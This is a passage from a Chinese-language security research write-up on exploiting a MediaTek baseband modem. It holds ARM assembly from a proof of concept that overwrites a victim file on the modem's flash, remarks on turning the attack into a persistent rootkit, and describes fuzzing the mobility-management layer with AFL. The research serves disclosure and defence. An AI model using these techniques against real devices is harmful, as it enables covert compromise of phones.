ldr r2, =CANARY1
ldr r1, [SP]
cmp r2, r1
bne isover
ldr r2, =CANARY2
ldr r1, [SP, #4]
cmp r2, r1
@ if the victim is found we can overwrite it
beq write

最后,目标文件的开头被字符串覆盖。在真正的漏洞利用中,shell 代码将被写入到受害者二进制文件中。

.set EVIL, 0x4c495645
.set FS_WRITE, 0x103B55

@ load the payload string "EVIL"
ldr r0, =EVIL
str r0, [sp]
@ and write it
mov r0, fhl @ file handler
mov r1, sp @ the payload
mov r2, #1 
lsl r2, #9 @ 512
mov r3, sp
add r3, r3, r2
ldr r6, =FS_WRITE
blx r6

该解决方案有一些注意事项。首先,逐块搜索闪存需要花费大量时间。PoC 大约需要两个小时才能完成,这主要是由于读取块所需的芯片间 I/O 操作较慢。通过在一个请求中读取多个块,然后在内存中搜索它们,可以显着减少这一开销。在内存中保留多个块应该不是问题,因为调制解调器在 RAM 中有足够的闲置空间(在多个 MB 的范围内),并且也可以利用部分共享内存。另一个问题是大多数 Nucleus 任务都以非抢占模式运行,包括 AT 命令处理程序。因此,在执行漏洞利用时,其他任务会处于饥饿状态。这会使调制解调器无响应并锁定其服务,从而导致蜂窝网络在 AP 端不可用。这会导致没有信号并且几乎是隐秘的。可以通过使用具有可抢占优先级的 Nucleus API 启动新的漏洞利用任务来规避此问题。

通过覆盖块设备上的调制解调器固件映像,还可以利用此攻击来获得持久性并将基带转变为 rootkit。

寻找入门级漏洞

在实习的最后几周,我试图通过寻找基带固件中的漏洞来完成漏洞利用链。不幸的是我没时间了,没能完成这个链条。但我认为我采取的方法值得讨论。MT6795 源包含一组静态库形式的预编译目标文件,其中一些实现了蜂窝堆栈的不同层。最初的想法是尝试将其中一个与向其提供输入的存根链接起来,以便 AFL 对其进行模糊测试。

移动管理层(MM) 层的实现是模糊测试的良好候选者,因为它包含许多复杂的解析函数,这些函数可能容易出现内存损坏错误,并且协议中充满了类型长度字段。花一点时间对固件映像进行逆向工程可以清楚地表明,MM 层是通过调用该mm_init函数来设置的,然后mm_main每当新数据到达该层时就会执行该函数。该mm_main函数以层间消息(参见下面的定义)的形式接收数据,其中包含一些关键字段。用于标识该msg_type层应执行哪个操作,local_para_struct( definition )的内容取决于所选的操作,而peer_buff_struct ( definition )包含实际的PDU。

/* The Interlayer Message structure, which is exchaged between modules. */
typedef struct ilm_struct {
   module_type       src_mod_id;      /* Source module ID of the message. */
   module_type       dest_mod_id;     /* Destination module ID of the message. */
   sap_type          sap_id;          /* Service Access Pointer Identifier. */
   msg_type          msg_id;          /* Message identifier */
   local_para_struct *local_para_ptr; /* local_para pointer */
   peer_buff_struct  *peer_buff_ptr;  /* peer_buff pointer */
} ilm_struct;

知道了这一切,我们可以编写一个调用 的包装器,然后从模糊器输入中mm_init设置,并用它进行调用。当然,事情没那么简单,因为 MM 层依赖于各种 Nucleus OS 服务和其他层。尝试链接我们的包装器会产生各种未定义的引用错误。作为第一次尝试,我们可以用一个简单的函数存根替换所有这些未定义的引用,该函数存根在调用和返回时打印。这允许包装器与库成功链接,但显然它无法正常运行。现在我们可以开始运行包装器的迭代过程,并在其中一个存根被命中时停止。之后,必须对已存根函数的原始版本进行逆向工程,以便我们可以决定采用以下哪个选项:ilm_structmm_mainlibmm.a

如果该函数对于 MM 层的操作并不重要(例如,将 ILM 传递到上层),则可以将其保留为存根(请参阅来源
如果功能很重要,但实际实现并不重要,例如因为它不在模糊测试的范围内,则可以重新定义该函数(这就是事件调度程序中发生的情况,请参阅来源)
如果以上都不适用,则可以链接实现该功能的预编译库
第三个选项必须格外小心,因为每次链接新库时,它都会引入额外的依赖项,这很容易导致雪崩效应。通过这些步骤,我成功地使包装器达到可以通过 AFL 进行模糊测试的稳定状态。完整的代码可以在这里找到。

本文中介绍的所有工具和源代码片段都可以在 Comsecuris 的 github 上找到: https: //github.com/Comsecuris/mtk-baseband-sanctuary。

结论

该研究的最初目标是通过受损的调制解调器对移动电话的应用处理器操作系统进行利用。为了防止此类攻击,在设计平台时应考虑硬件组件之间的强隔离。还必须强调的是,主操作系统及其上运行的应用程序不能盲目信任来自不同外设的数据。相反,此类数据应被视为攻击者控制的数据。

防御受损单位已经是一项复杂的任务,防御本质上恶意的流氓分子则更加困难。其中许多硬件单元都可以通过无线电网络访问(基带和 Wi-Fi 芯片,现在甚至可以通过 WebGL 访问 GPU)。它们是移动设备远程利用的主要目标,还有许多方面有待探索。这个领域需要进一步的进攻和防御研究。

除了使芯片之间的跳转变得更加困难之外,调制解调器(和其他外围设备)的安全性也应该得到提高。并非所有供应商都是平等的,但有些供应商通常缺乏基本的漏洞利用缓解措施。这显着降低了利用的复杂性,并弥补了分析固件所需的额外(逆向)工程工作。由于安全社区的不懈努力及其加固解决方案的不断改进,移动操作系统的开发成本在过去几年中急剧增加。这不仅使通过延迟路由(例如通过调制解调器)的攻击更具吸引力,而且可能使它们在经济上可行。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注